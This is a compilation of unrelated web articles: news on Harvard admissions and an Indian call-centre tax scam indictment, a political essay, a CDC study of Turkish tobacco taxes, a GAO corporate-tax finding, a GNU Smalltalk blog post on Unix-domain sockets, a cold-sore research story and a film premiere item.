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Why should Obama’s kids ‘have preference over a Chinatown cook’s son?’
When Harvard University faced a regulatory complaint in 2015 about alleged quotas that held down Asian-American admissions, the Obama administration gave it a pass, citing ongoing litigation on the subject.
Now that the Trump administration is in charge, Harvard is facing a battle over its affirmative action policies on both regulatory and judicial fronts.
Asian-American groups that have long accused Harvard of discrimination are celebrating the regulatory about-face.
“We are happy hearing that and hope for concrete steps taken by the” Justice Department, Chunyan Li, a board member of the Asian American Coalition for Education, told The College Fix in a phone call.
The group supports some preference for “low-income communities of low-income families” in college admissions, “but I hope that race is not a factor,” said Li: “Who is to say [former President Barack] Obama’s daughters should have preference over a Chinatown cook’s son?”
Asian SAT scores must be 140 points higher to level playing field
An internal job posting leaked Tuesday said DOJ’s civil rights division is seeking “attorney detailees” who already work in the division to conduct “investigations and possible litigation related to intentional race-based discrimination in college and university admissions.”
The division consists of Trump political appointees, as opposed to the career civil servants who lead DOJ’s Educational Opportunity Section, Circa reported.
Since the announcement does not specifically state who is at risk of discrimination due to affirmative action, early reports suggested the administration would launch a nationwide “assault” on affirmative-action programs.
That led a DOJ spokesperson Wednesday to clarify the probe was limited to Harvard and a single 2015 complaint to the civil-rights units of Justice and the Department of Education, filed by 64 Asian-American groups under the banner of the Coalition of Asian-American Associations.
Asian-American students Harvard turned down are at the center of the next big fight over affirmative action https://t.co/PSCOeh1Jb2 pic.twitter.com/T5So0uW86j — SOS Admissions (@SOSAdmissions) August 4, 2017
MORE: Asian-American groups accuse Harvard of discrimination in federal complaint
The complaint cited a 2009 book by Princeton University’s Thomas Espenshade and Alexandria Radford that said Asian-American applicants “needed SAT scores that were about 140 points higher than white students, all other quantifiable variables being equal, to get into elite schools” such as Harvard.
Harvard’s history of implementing affirmative action goes back to at least 1971, a decade after President John F. Kennedy first used the term in an executive order instructing government contractors to treat employees “without regard to their race, creed, color, or national origin.”
President Lyndon Johnson formalized the directive under the 1964 Civil Rights Act by issuing an executive order covering organizations that receive federal contracts and subcontracts, such as universities that get federal money for scientific research.
Harvard’s federal funding is at risk if the Trump administration decides it is discriminating against Asian-American applicants under Title VI, in order to fulfill the university’s mission of giving opportunity to underprivileged groups such as black and Latino students.
Coalition of Asian-American Associations 2015 regulatory complaint against Harvard for “racial balancing” by The College Fix on Scribd
Thanks for giving us ‘equal protection under the laws’
This fall’s class of freshman admitted is 50.8 percent nonwhite, the university told The Boston Globe this week.
(The Globe ran a correction Saturday stating that these are students who were “accepted” but did not necessarily attend Harvard; it said “the college has yet to have seated a freshman class that is majority nonwhite.” The Los Angeles Times reported Friday that Harvard’s nonwhite “admitted” population last year was even higher – 51.4 percent.)
Out of the 2,038 incoming students, 22.2 percent identify as Asian American, 14.6 percent identify as African American, 11.6 percent identify as Hispanic or Latino and 2.5 percent identify as Native American.
Responding to the news that this would be the second consecutive admitted class with a nonwhite majority, “I have to say I’m neutral,” said Li of the Asian American Coalition for Education: “I hope there will be a day that race is not a factor at all.”
MORE: Harvard discriminates against Asian Americans, ‘similar challenges’ planned
In a formal statement given to The Fix, Li’s group said “many” students and organizations had filed complaints with the two federal agencies since 2006 that allege “severe discrimination” against Asian Americans in higher education in violation of Title VI.
“However, over the last ten years, the prior administrations have not conducted objective investigation into these complaints,” the statement added, thanking the Trump administration for “providing Asian American students with equal protection under the laws.”
The Asian American Coalition for Education is standing up to Ivy League admissions processes https://t.co/LwcAZBfVkm pic.twitter.com/WQz6OTRgaz — The Weekly Standard (@weeklystandard) May 24, 2016
President Yukong Zhao said it was “long overdue” for his community, which “follows the laws, works hard and has been making tremendous contribution to American economic prosperity and technology leadership in the world,” to be treated fairly:
We expect that the U.S. Departments of Justice and Education will take concrete actions to help restore the spirit of American Dream: reward individual efforts and merits, and treat all individuals equally. … We believe the fundamental way to achieve diversity is to reduce achievement gap in K-12 education, not through illegal racial balancing during college admissions. We would also support a socioeconomic status based policy if it effectively helps low-income families.
MORE: Harvard forced to turn over application data in Asian-discrimination lawsuit
Plaintiff in lawsuit ‘befuddled’ administration intervened
The Obama administration rejected the 2015 complaint on the grounds that litigation was ongoing against Harvard’s program for its alleged impact on Asian-American applicants.
That lawsuit by Students for Fair Admissions has racked up notable wins. It obtained an order last fall forcing Harvard to turn over data from applications and another this spring ordering an elite high school with a strong track record of sending students to Harvard to turn over their application data.
Harvard’s admission standards disadvantage prospective Asian-American students because of its “hard, strict intractable quota” on them, Edward Blum, who leads the plaintiff group, claimed to The Fix then. “And the rest of their admissions policies racially balance all for ethnic groups.”
I called Edward Blum, one of the architects of Fisher v. UT, about the new DOJ move on Affirmative Action. This is what he said: pic.twitter.com/sktW68WPE0 — (null) (@juliacraven) August 2, 2017
Blum did not respond to multiple Fix queries regarding the Justice Department job posting and clarification of the probe’s scope. He told the Globe he was caught off-guard and “befuddled” by the announcement, which was not shared with his group ahead of time.
Students for Fair Admissions, which survived a legal challenge to its standing because its members include rejected Asian-American students, is looking to replicate its success against Harvard at the University of Texas-Austin.
It is seeking Asian-American students who were rejected by the flagship university for a potential “racial balancing” lawsuit.
UPDATE: The status of students who applied to Harvard this fall and last year has been clarified in this report. The Boston Globe ran a correction Aug. 5 stating that the nonwhite majority referred to applicants who were accepted by Harvard, but said the school has still not “seated” a nonwhite-majority freshman class in its history. The Los Angeles Times reported Aug. 4 that last year’s admitted class to Harvard was even more nonwhite, at 51.4 percent.
MORE: High school known for sending students to Harvard forced into anti-Asian lawsuit
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IMAGE: Tom Wang/Shutterstock |
US Call Centre Scam
Los angeles : In a strong action against India, the US Justice Department on Thursday indicted 61 individuals including 52 Indians following illegal activities.
The action was taken on charges of impersonation, fraud and money laundering in connection with an extraction scheme that scared Americans into paying nonexistent tax dues through threatening phone calls.
According to reports, 20 individuals have been arrested in the US and one is in the custody of immigration authorities, while 32 have been arrested in India. It is even considered that the India-based scamsters may be extradited to stand trial.
As per reports, the scam was majorly ran by a network of call centres in Ahmedabad who used to gather information from data brokers and other sources; then the call centre operators allegedly used to call the potential victims in the US and impersonated officials from the Internal Revenue Service (IRS) or US Citizenship and Immigration Services.
Later, they threatened potential victims with arrest, imprisonment, fines or deportation if they did not pay taxes or penalties to the government.
Such was the fraud that if the victims agreed to pay, the call centres immediately turned towards their network of US-based co-conspirators and asked them to transfer the funds as quickly as possible by purchasing prepaid debit cards or through wire transfers.
How the fraud took place?
Debit cards were often registered using misappropriated personal identifying information of thousands of identity theft victims.
Wire transfers were made by the criminal associates using fake names and fraudulent identifications.
Scamsters extracted money from victims who were too terrified of losing all savings. |
Liberal politics have become disproportionately concerned with the symbolic. In part, this is a reaction to the slow loss of influence of liberal politicians in the American government at the national and state levels. When the avenues for legislative change narrow, people will find alternatives, and liberalism has found one avenue in the symbolic. Principal in this move is the alienation of the average American’s political life from the material reality of political decisions. Not only do most people feel disconnected from goes on in Washington, the liberal expression of politics is unable to bridge the gap—and, at its worst, only increases this alienation.
This is no better expressed than the sale of McDonald’s themed t-shirts and apparel under the banner, “Supersize the Resistance,” in response to a tweet by the corporate McDonald’s account that called Trump a disgusting president. The apparel carries several slogans such as “vive la résistance” imposed over fast food or the image of Ronald McDonald’s fist raised in solidarity—notable that it is the mascot’s fist raised in solidarity and not that of, say, a fictionalized employee. The imagery is the explicit merger of the language of resistance with that of global capitalism. Political action is reduced to another commodity on the market.
The striking thing about this commodification of “resistance” is that it is not a lone example. Whether it is the infamous $300 safety pin, Chelsea Clinton publishing a book titled She Persisted or the fact the much-celebrated fearless girl statue is a marketing stunt for an investment firm, liberal resistance has been market friendly. Here resistance becomes another product paradoxically upholding the status quo rather than challenging it. Wall Street’s problem isn’t that the financial industry explicitly profits off others poverty, they just need more women as board members. McDonald’s hasn’t fought paying employees a living wage—it’s part of the resistance. That liberalism is largely uninterested in challenging the status quo makes this emphasis on the symbolic necessary.
If resistance to Trump is to be meaningful, it should stand for more than symbolic victories and, thus, oppose more than just Trump in isolation. Horrific actions under the Trump administration are rightly condemned but it is rarely asked how such actions were made possible in the first place. Trump’s decision to okay a raid in Yemen that largely saw only the slaughter of children was rightly condemned, but there were no mainstream pundits asking why the US was in Yemen in the first place. The increased autonomy surrounding ICE and their deportation practices are documented in all their barbarity and horror—but why a de facto deportation force existed at day-one of Trump’s presidency is seldom explored.
What has been absent from the liberal response to Trump has been the articulation of a real alternative. One of the biggest obstacles to articulating real differences to the Trump administration means addressing this question of why Trump’s actions have been possible. This means addressing the material reality of the Obama administration as opposed to its symbolic value alone. The notion there is any continuity between the administration that extrajudicially killed an American teenager and justified it by saying that he, “should have a far more responsible father,” and the administration that killed that same teenager’s 8-year-old sister is one that liberals would prefer not to contemplate.
By engaging only with the symbolic values of the Obama presidency, liberals have set themselves up for a resistance that is unable to fully respond to Trump’s policies. This is not to underplay the value that seeing a black president has for a nation founded with the notion that black people were not even human beings. Not at all, this is not a flat rejection of the role of symbols in politics outright. But understanding the presidency through its symbolic value alone does a disservice to those who lived in the shadow of the decisions made by that president. Particularly if that presidency oversaw the bombing of seven countries or a staggering foreclosure crisis at home. Politics exist in the material world and have material consequences and those must be grappled with.
The failure of the Bush-era liberal resistance should serve as a warning. The emphasis on Bush’s personality left liberals unable to articulate the structural forces that enabled the Iraq war or the widespread use of torture. They still won numerous symbolic victories—until recently the image of Bush was that of a total moron. “Bushisms” adorned gag-gift calendars and Will Ferrell’s performance as a bumbling frat boy informed other Bush parodies. The Daily Show built a small media empire out of skewering Bush with a knowing glance and the show’s alumni make up a notable contingent of contemporary political television.
But not only did Bush get eight years in office, the various members of his administration have found well-respected second political lives. Even Bush himself has finally found rehabilitation in liberal circles not because of anything he did, but because he took a photo hugging Michelle Obama people found charming. “Miss Me Yet?” went from the slogan of a conservative to an actual liberal position. If nothing else, symbolic victories are fleeting.
And it is recalling the Bush administration and Iraq specifically that there is another reason to be leery of the emphasis liberals have placed on the symbolic—the escalation of nationalist rhetoric. While liberals have never been unpatriotic as charged by conservatives—Clinton and Obama both touted the myth of American exceptionalism repeatedly on the campaign trail, it was Madeline Alrbight that called America the “indispensable nation,” etc.—their expression of nationalism became a more prominent part of their discourse since Trump’s victory. One does not have to go very far into resistance circles to find people placing American flags on their profiles or decrying Trump as uniquely un-American. Keith Olberman, who runs a web show literally called, “The Resistance” has an image of himself draped in an American flag as his avatar on social media. Trump’s brand of nationalism cannot be beat or discredited by engaging in a “better” nationalism. If a similar embrace of nationalism among liberals during the lead-up to the Iraq war is any indication, it’s that any “type” of nationalism lends itself to being used for violent and destructive ends.
Only by recognizing that symbolic victories cannot occupy an outsized portion of the resistance does change become possible. And there is an appetite for this kind of change—whether it’s the fact that a majority of Americans now want a nationalized healthcare system or that even a right wing poll like the one conducted by The American Culture and Faith Institute suggested that 4 in 10 Americans are open to socialism, it is clear maintaining the status quo alone is not sustainable in the long run. This means expanding the political imagination beyond what liberalism alone has offered—imagining only a better version of the existing system is insufficient. Ronald McDonald may raise his fist in solidarity on a t-shirt, but he won’t be there for us when it counts. |
Cigarette Prices and Smoking Prevalence After a Tobacco Tax Increase — Turkey, 2008 and 2012
Deliana Kostova, PhD1, Linda Andes, PhD1, Toker Erguder, MD2, Ayda Yurekli, PhD2, Bekir Keskinkılıç, MD3, Sertaç Polat, MD3, Gönül Çulha, MD3, Evin Aras Kilinç, MD3, Enver Taştı, MS4, Yılmaz Erşahin, MS4, Mehmet Özmen, MS4, Ramazan San, MS4, Hilal Özcebe, MD, PhD5, Nazmi Bilir, MD, PhD5, Samira Asma, DDS1 (Author affiliations at end of text)
Raising the price of tobacco products has been shown to reduce tobacco consumption in the United States and other high-income countries, and evidence of this impact has been growing for low- and middle-income countries as well (1,2). Turkey is a middle-income country surveyed by the Global Adult Tobacco Survey (GATS) twice in a 4-year period, in 2008 and 2012. During this time, the country introduced a policy raising its Special Consumption Tax on Tobacco and implemented a comprehensive tobacco control program banning smoking in public places, banning advertising, and introducing graphic health warnings. The higher tobacco tax took effect in early 2010, allowing sufficient time for subsequent changes in prices and smoking to be observed by the time of the 2012 GATS. This report uses data from GATS Turkey to examine how cigarette prices changed after the 2010 tax increase, describe the temporally associated changes in smoking prevalence, and learn whether this smoking prevalence changed more in some demographic groups than others. From 2008 to 2012, the average price paid for cigarettes increased by 42.1%, cigarettes became less affordable, and smoking prevalence decreased by 14.6% (Figure). The largest reduction in smoking was observed among persons with lower socioeconomic status (SES), highlighting the potential role of tax policy in reducing health disparities across socioeconomic groups.
GATS is an ongoing, nationally representative household survey of noninstitutionalized adults aged ≥15 years. The survey uses a multistage geographically clustered sample design. The indicators described in this report were obtained by summarizing the individual responses of participants in GATS Turkey 2008 (9,030 completed interviews) and 2012 (9,851 completed interviews). Response rates for GATS Turkey were 90.1% in 2012 and 93.7% in 2008. Smoking prevalence estimates were based on self-reported current smoking, which included both daily and less-than-daily smoking. Prices paid per 20 cigarettes were calculated from the responses of current smokers of manufactured cigarettes, which provide data on amounts spent and quantities purchased during the most recent cigarette purchase. Price indicators for 2008 were adjusted for inflation to be comparable with 2012 values. The cigarette price indicators in this report are not brand-specific, but represent the average amount spent per 20 cigarettes across the range of brand choices in each year. The examined indicators and their relative change from 2008 to 2012 were stratified by demographic characteristics including sex, age, urbanicity, education, and wealth. The wealth index category for each respondent was created based on self-reported ownership of certain core household items in GATS (3).
Changes in cigarette affordability during the study period were evaluated using the relative-income price of cigarettes, which represents prices adjusted for country income level (4). The relative-income price was calculated as the ratio of the average price paid per 2,000 cigarettes in each GATS year to that year's gross domestic product (GDP) per capita (4).
After adjusting for inflation, the average real price paid per 20 cigarettes in Turkey increased by 42.1% during 2008–2012, from 4.0 to 5.7 Turkish lira (Table 1). The increase in the purchasing price varied across demographic groups; for instance, it was estimated to be smaller among younger smokers and among smokers with less wealth. As the cost of cigarettes increased, the average smoking rate dropped by 14.6% during 2008–2012, from 30.1% to 25.7% (Table 2). The largest decrease in smoking occurred among persons of lower SES, who were in the lowest wealth and education categories (Table 2). The relative reduction in smoking among those in the bottom tercile of the wealth index (-30.3%) was twice as large as among those in the middle wealth tercile (-13.9%), and nearly three times larger than among those in the top wealth tercile (-11.1%).
On average, cigarettes in Turkey became less affordable during 2008–2012. Cigarette affordability, represented by the relative-income price, falls when the growth in cigarette prices outpaces the growth in GDP per capita. The relative-income price of cigarettes in Turkey increased by approximately 30% from 2008 to 2012 (Table 1), indicating that during this period cigarette prices in Turkey increased faster than the country's per capita income, corresponding to a significant reduction in affordability.
Discussion
After the 2010 increase in tobacco taxes in Turkey, the average price paid for cigarettes increased, cigarettes became less affordable, and a statistically significant drop in smoking rates occurred. The reduction in smoking was substantially larger among persons with lower SES. These findings document the presence of an inverse relationship between cigarette prices and smoking in Turkey, and confirm previous analytic findings that this relationship is especially strong in lower-income populations (5). This underscores the potential of a tobacco price increase to reduce tobacco use and to help reduce health disparities by lowering smoking prevalence at a higher rate in vulnerable populations.
Although the average purchasing price of cigarettes increased for all demographic groups, it increased at a slightly lower rate among smokers in the lowest wealth tercile than among those at the middle or higher ends of the wealth spectrum. Similarly, younger smokers experienced a smaller increase in the average purchasing price than older smokers. These demographic differences indicate that smokers who are younger or low-income might be more likely to engage in price-minimizing behavior when facing a tax increase (examples of such behavior include switching to less expensive brands and buying in bulk).
The demographic breakdown of the 2008–2012 changes in purchasing price and smoking rates in Turkey shows that groups with relatively tighter income constraints, such as young adults or persons with a lower wealth index, reported smaller increases in cigarette prices paid and at the same time experienced the steepest declines in smoking prevalence. These findings have implications with respect to tax regressivity. An existing tax is regressive if it imposes a greater burden, relative to income, on those with lower wealth. However, a tobacco tax increase does not have regressivity characteristics. The increase in tobacco tax in Turkey was associated with a greater reduction in smoking among persons with the lowest wealth than among wealthier persons. This suggests that the tax increase did not have a regressive outcome, because smoking and its associated expense declined most among those who could least afford the habit.
Comparing the change in the average purchasing price of cigarettes with the concurrent increase in cigarette tax can help infer the tax pass-through, which is the extent to which the tax increase was reflected in the final consumer price. A full pass-through of the tax onto the final price is more likely to influence consumption than a partial pass-through, where the tax increase is partially absorbed by the producer and might not fully reach the consumer. In the case of Turkey, the tax pass-through appears to be complete, optimizing the potential tax impact. The cigarette tax level in Turkey, measured as the share of total tax to retail price, rose from 0.74 to 0.80 during 2008–2012 (Turkey Ministry of Finance, General Directorate of Revenue Policies, unpublished data, 2013). Applying these tax shares to the average cigarette price paid in each year, and comparing the change in the average tax amount with the change in the average price, it is estimated that the pass-through of the 2010 tax increase in Turkey was more than one-to-one. This indicates that the tax increase might have been accompanied by an additional price increase from the producer side, timed to coincide with the tax change. A producer-initiated price increase that shadows a concurrent tax increase is a common pricing strategy in some markets. In markets perceived as tobacco use strongholds, such as Turkey, price increases that further augment the tax pass-through would be driven by a tobacco producer's anticipation of higher profits. This is in contrast to the United States, where a recent shift has occurred toward pricing strategies that reduce the tax pass-through, such as tobacco industry offering of discounts and coupons, which limit the full potential of taxes for reducing consumption (6).
The findings in this report are subject to at least three limitations. First, the examined indicators are based on self-reported individual answers to survey questions and therefore are subject to recall bias. Second, because of small sample sizes, important differences across demographic groups within each year sample might not be statistically significant. This affects especially the demographic breakdown of cigarette prices paid, which are based on a subsample of smokers. Finally, these data do not establish cause-and-effect relationships because of the observational nature of the report, which does not control for other tobacco control measures introduced at the same time as the tax increase.
Turkey's smoking rates historically have been among the world's highest. This report describes a considerable shift in smoking behavior, occurring even when the baseline levels of tobacco use and addiction in the population are relatively high. Turkey's experience with cigarette price change might be informative to policymakers in other low- and middle-income countries, where the majority of tobacco-related deaths are expected to occur in the near future (7).
Acknowledgments
Muhammad Jami Husain, Rebecca Bunnell, Xin Xu, Gabbi Promoff, Timothy McAfee, Office on Smoking and Health, National Center for Chronic Disease Prevention and Health Promotion, CDC. Peter Briss, National Center for Chronic Disease Prevention and Health Promotion, CDC. Joanna Birckmayer, Campaign for Tobacco-Free Kids. Bloomberg Initiative to Reduce Tobacco Use.
References
International Agency for Research on Cancer. IARC handbooks of cancer prevention: tobacco control. Volume 14: effectiveness of tax and price policies in tobacco control. Lyon, France: International Agency for Research on Cancer, World Health Organization; 2011. Available at http://www.iarc.fr/en/publications/pdfs-online/prev/handbook14/handbook14.pdf. Kostova D, Chaloupka FJ, Shang C. A duration analysis of the role of cigarette prices on smoking initiation and cessation in developing countries. Eur J Health Econ 2014; March 9 [Epub ahead of print]. Palipudi KM, Gupta PC, Sinha DN, Andes LJ, Asma S, McAffee T. Social determinants of health and tobacco use in thirteen low and middle income countries: evidence from the Global Adult Tobacco Survey. PLoS One 2012;7:e33466. Blecher E, van Walbeek C. An analysis of cigarette affordability. Paris, France: International Union Against Tuberculosis and Lung Disease; 2008. Available at http://global.tobaccofreekids.org/files/pdfs/en/TAX_Cigarette_affordability_report_en.pdf. Yürekli A, Önder Z, Elibol M, et al. The economics of tobacco and tobacco taxation in Turkey. Paris, France: International Union Against Tuberculosis and Lung Disease; 2010. Available at http://global.tobaccofreekids.org/files/pdfs/en/Turkey_Tobacco_Economics_full_en.pdf. Chaloupka FJ, Cummings KM, Morley CP, Horan JK. Tax, price, and cigarette smoking: evidence from the tobacco documents and implications for tobacco company marketing strategies. Tob Control 2002;11 Suppl 1:I62–72. Mather CD, Loncar D. Projections of global mortality and burden of disease from 2002 to 2030. PLoS Med 2006;3:e442.
What is already known on this topic? There is increasing evidence that raising the prices of tobacco products can reduce tobacco use in low- and middle-income countries, where most of the global tobacco-related disease burden is expected to occur. Turkey is a middle-income country with smoking rates that historically have been among the world's highest. In 2010, Turkey increased its Special Consumption Tax on Tobacco, increasing the price of cigarettes. What is added by this report? After the increase in tobacco tax, the average price paid for cigarettes in Turkey increased by 42% during 2008–2012, cigarettes became less affordable, and the average smoking prevalence declined by 15%. The largest reduction in smoking prevalence (30% relative change from 2008 to 2012) was observed among persons with the lowest socioeconomic status. What are the implications for public health practice? These survey results establish a link between a tobacco price increase and a decline in tobacco use, and show the potential of tobacco taxes and prices to help reduce health disparities by lowering smoking prevalence at a higher rate in vulnerable populations.
FIGURE. Average cigarette prices* (in Turkish lira) and smoking prevalence† — Global Adult Tobacco Survey, Turkey, 2008 and 2012 Alternate Text: The figure above shows average cigarette prices (in Turkish lira) and smoking prevalence, based on findings from the Global Adult Tobacco Survey conducted in Turkey in 2008 and again 2012. After the 2010 increase in tobacco taxes in Turkey, the average price paid for cigarettes increased, cigarettes became less affordable, and a statistically significant drop in smoking rates occurred.
TABLE 1. Average price (in Turkish lira) paid per 20 manufactured cigarettes, by selected demographic characteristics — Global Adult Tobacco Survey, Turkey, 2008 and 2012 Characteristic 2008 2008 (inflation adjusted)* 2012 Relative change from 2008 (inflation adjusted)* to 2012 Price (95% CI) Price (95% CI) Price (95% CI) % (95% CI) Overall 3.3 (3.2–3.3) 4.0 (3.9–4.1) 5.7 (5.5–5.8) 42.1 (38.0–46.2)† Sex Male 3.3 (3.2–3.4) 4.0 (3.9–4.1) 5.7 (5.6–5.9) 42.1 (37.7–46.5)† Female 3.1 (3.0–3.2) 3.8 (3.6–3.9) 5.4 (5.2–5.6) 43.9 (36.1–51.6)† Age group (yrs) 15–24 3.4 (3.2–3.5) 4.1 (3.9–4.3) 5.6 (5.3–5.9) 35.7 (26.4–45.1)† 25–44 3.4 (3.3–3.4) 4.1 (4.0–4.2) 5.7 (5.5–5.8) 38.5 (33.8–43.2)† 45–64 3.1 (3.0–3.2) 3.8 (3.6–3.9) 5.7 (5.5–6.0) 52.2 (44.2–60.3)† ≥65 2.7 (2.5–2.9) 3.3 (3.1–3.5) 5.2 (4.6–5.8) 57.7 (37.1–78.4)† Residence Urban 3.3 (3.3–3.4) 4.1 (4.0–4.2) 5.7 (5.6–5.9) 40.7 (35.9–45.5)† Rural 3.1 (3.0–3.2) 3.8 (3.6–3.9) 5.5 (5.3–5.6) 44.7 (37.8–51.7)† Education Not graduated 2.8 (2.6–3.0) 3.4 (3.2–3.7) 4.8 (4.3–5.4) 39.7 (21.7–57.6)† Primary 3.1 (3.0–3.2) 3.8 (3.7–3.9) 5.5 (5.3–5.7) 43.9 (37.8–49.9)† Secondary 3.3 (3.1–3.4) 4.0 (3.8–4.2) 5.6 (5.4–5.8) 40.0 (32.5–47.6)† High school 3.5 (3.4–3.6) 4.3 (4.2–4.5) 5.9 (5.7–6.2) 37.2 (30.3–44.1)† University or higher 3.6 (3.4–3.8) 4.4 (4.2–4.7) 6.2 (5.9–6.5) 39.8 (30.4–49.3)† Wealth index Bottom tercile 2.9 (2.8–3.0) 3.6 (3.4–3.7) 4.9 (4.6–5.2) 38.3 (28.2–48.4)† Middle tercile 3.2 (3.2–3.3) 4.0 (3.9–4.1) 5.5 (5.3–5.7) 39.1 (33.7–44.5)† Top tercile 3.6 (3.4–3.7) 4.3 (4.2–4.5) 6.1 (5.9–6.2) 39.5 (33.5–45.6)† Unweighted no. of current smokers of manufactured cigarettes 2,384 2,218 Affordability index (relative income price) (%)§ 2.4 3.0 29.9† |
This morning Guido was alerted that Caroline Lucas’ name had been removed from the Stop the War Coalition’s website. She had been Stop the War’s vice-president and was seen as the acceptable face of the west-hating group. Guido put the call in to her spokesman, who initially refused to answer whether she had quit. It is now confirmed.
Her office say in a statement to Guido:
“Caroline stepped back from the Stop the War Coalition a few weeks ago. Her busy parliamentary and constituency schedule means that she doesn’t have time to fully engage with the role of a Patron and, in light of some recent StWC positions that she didn’t support, she felt standing down was the responsible thing to do. Like the Stop the War Coalition, Caroline is opposed to British bombing in Syria because it will neither keep Britain safe nor help bring about a lasting peace in Syria.”
Body blow for STW, which will now up the pressure on Corbyn to distance himself too… |
Two out of every three United States corporations paid no federal income taxes from 1998 through 2005, according to a report released Tuesday by the Government Accountability Office, the investigative arm of Congress.
The study, which is likely to add to a growing debate among politicians and policy experts over the contribution of businesses to Treasury coffers, did not identify the corporations or analyze why they had paid no taxes. It also did not say whether they had been operating properly within the tax code or illegally evading it.
The study covers 1.3 million corporations of all sizes, most of them small, with a collective $2.5 trillion in sales. It includes foreign corporations that do business in the United States.
Among foreign corporations, a slightly higher percentage, 68 percent, did not pay taxes during the period covered — compared with 66 percent for United States corporations. Even with these numbers, corporate tax receipts have risen sharply as a percentage of federal revenue in recent years.
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The G.A.O. study was done at the request of two Democratic senators, Carl Levin of Michigan and Byron L. Dorgan of North Dakota. In recent years, Senator Levin has held investigations on tax evasion and urged officials and regulators to examine whether corporations were abusing tax laws by shifting income earned in higher-tax jurisdictions, like the United States, to overseas subsidiaries in low-tax jurisdictions. |
I just committed unix-domain sockets (AF_UNIX) for GNU Smalltalk.
GNU Smalltalk's socket library is more or less based on the java.net library, but java.net does not have AF_UNIX sockets! Okay, they are not portable to Windows, but you'd expect someone to have written an extension library for that. But no, there is none. Why?
It turns out that there are two problems.
The first hurdle has nothing to do with the language; simply, the design of java.net.SocketImplFactory is totally braindead. In fact it is completely unused; Google Code Search results are 99% for the implementation of java.net, and 1% broken code. I modified that part in GNU Smalltalk; there you have class-side factory methods in each address-family class (UnixAddress, IPAddress), so you can pick a different set of implementation classes for each address family. The important part is not that I use class methods, but that my scheme actually works. :-)
However, this flaw only makes the implementation less self contained: the AF_UNIX implementation class would have to be shared with IP sockets, so you cannot provide AF_UNIX-specific niceties (such as removing the socket from the filesystem when you close it).
There is a second hurdle —this one is directly related to the Java language, and it makes it impossible to implement AF_UNIX sockets in a way that is consistent with the existing implementation of IP sockets.
Previously I mentioned the address-family classes UnixAddress and IPAddress. In both java.net and GNU Smalltalk these are concrete subclasses of a SocketAddress class. An instance of one of this classes represents a machine's address in a particular address family. This is different from the struct sockaddr_* structs in C, which represents endpoints of a socket, but it actually works well. Simply, whenever a method needs a socket endpoint it will be split across two arguments, one for the machine and one for the service (port).
In Smalltalk the design extends naturally to AF_UNIX sockets. These sockets are always local to the current machine, so UnixAddress is a singleton subclass of SocketAddress. The language is dynamically typed, so the service can be an Integer object when dealing with IP sockets, and a String or a File when dealing with AF_UNIX sockets.
For Java, you have probably already seen the gotcha: java.net declares the port argument as an int , so this kind of polymorphism is impossible. You have to put the service in the UnixAddress instance, thus breaking the abstraction that SocketAddress instances represent machines.
One would need to add more constructors, or more overloaded methods, that take an Object for the service. However, in Java you cannot extend classes either, so this is a no-no unless Sun does it.
I guess this was why someone wrote this in a mailing list, regarding implementing AF_UNIX sockets in Java:
> has nobody tried to write a library for this purpose before? i> was not able to find any solution for this problem on the> internet. i might need this for some personal project, but> maybe AF_UNIX sockets would be an interesting java-feature for> a lot of people (jdbc-drivers, component systems like> openoffice uno...)
> it seems to be hard (or impossible?) to map an api for non_ip
> sockets into the java.net api.
Yuck! |
Laureen Middley / Getty
Cold sores are icky. And they're insidious. The raw, ugly blisters show up without notice and are unpreventable. Worse yet, once you're infected with the virus that causes them, you're stuck with it for good. But landmark research reported today by microbiologists at Duke University may offer the potential for a cure.
By age 40, nearly 90% of adults have been exposed to the herpes simplex virus-1 (HSV-1), which causes cold sores. People are usually infected as children, but many never have symptoms. For those who do, however, cold sores are a painful and permanent nuisance, always erupting in the same location, at the original site of infection on the lips or mouth. Once HSV-1 enters the body it hunkers down for life, most of the time hiding dormant in the cranial nerves near the spine. The virus can be triggered by outside stress, such as exposure to sunlight, a fever or emotional distress. After it's active and a cold sore appears, it's treatable with the drug acyclovir, marketed under the name Zovirax, which kills replicating HSV-1. But the mystery has been how to eliminate the virus while it's hiding, before it produces unsightly symptoms.
Until now, research has generally concentrated on keeping HSV1 inactive and preventing cold sores from ever showing up. But the Duke researchers took the opposite tack: figuring out precisely how to switch the virus from latency to its active stage. That's important, says lead author Dr. Bryan Cullen, professor of molecular genetics and microbiology at Duke, "because unless you activate the virus, you can't kill it."
Cullen and his team were able to replicate the intricate process using lab mice. They started by identifying the tiniest components of the HSV-1 strain. In its latent stage, HSV-1 produces a single molecular product, called latency-associated transcript RNA, or LAT RNA. Unlike most messenger RNA, LAT RNA doesn't produce proteins, so scientists have never been able to determine LAT RNA's exact function. But by inserting the LAT RNA into mice, Cullen found that it breaks down into even smaller strands called microRNA. Researchers then discovered that it was the microRNA that blocked production of the protein that activates HSV-1. "So if there was a sufficient supply of microRNA, then the virus stayed latent," Cullen says. "But under a high level of stress, the microRNA's blocking mechanisms break down, thus triggering a cold sore." The study, funded by the National Institutes of Health, will be published in the journal Nature this week.
Understanding how to override the microRNA could allow scientists to activate the virus and then kill it using acyclovir. "Once the virus sticks its head up over the fence, you whack it off for good," Cullen says. "Yes, the person has to have one last cold sore, but it'd be worth it to most people to cure them forever."
The theory is that by activating the virus, then preventing it from returning to hibernation, which is when researchers think it gains strength, it can be completely eradicated. Cullen believes that a drug could be developed to block the microRNA that suppress HSV-1 into latency; once it's active, acyclovir can be used to destroy the virus permanently. Cullen suggests that this new research may also eventually be applied to other latent viruses, such as herpes simplex virus-2 (HSV-2), which causes genital herpes, or the chicken pox virus, which causes shingles in adults. Cullen warns that some patients, especially those suffering genital herpes, may have to take acyclovir on a regular basis (HSV-2 is a hardier virus), but for people with HSV-1, the virus could be eradicated with just one dose.
Cullen and his colleagues, as well as several biotech firms, are already investigating such treatments and how best to deliver them. "Are any of these viruses fatal?" Cullen says. "No. But there are a lot of people who'd be thrilled never to have a cold sore again." |
“A bunch of weirdos. They’re all weird!” laughed director Tim Burton at the 20th Century Fox, Saks fifth Avenue, and Visa Signature premiere of his latest film “Miss Peregrine’s Home for Peculiar Children” Monday night. Burton was speaking about his cast which includes Samuel L. Jackson, Eva Green, Asa Butterfield, Ella Purnell, Allison Janney, Judi Dench, Lauren McCrostie and Finlay MacMillan.
The gothic-themed movie, based on a young adult novel of the same name by Ransom Riggs, follows a boy named Jake after a family tragedy. Jake soon discovers a spooky, yet enchanting home that is refuge for children with odd abilities and talents.
Jackson, who plays a white-eyed villain named Barron, explained to Variety that Burton is “very Quentin [Tarantino]-like” in his directing style.
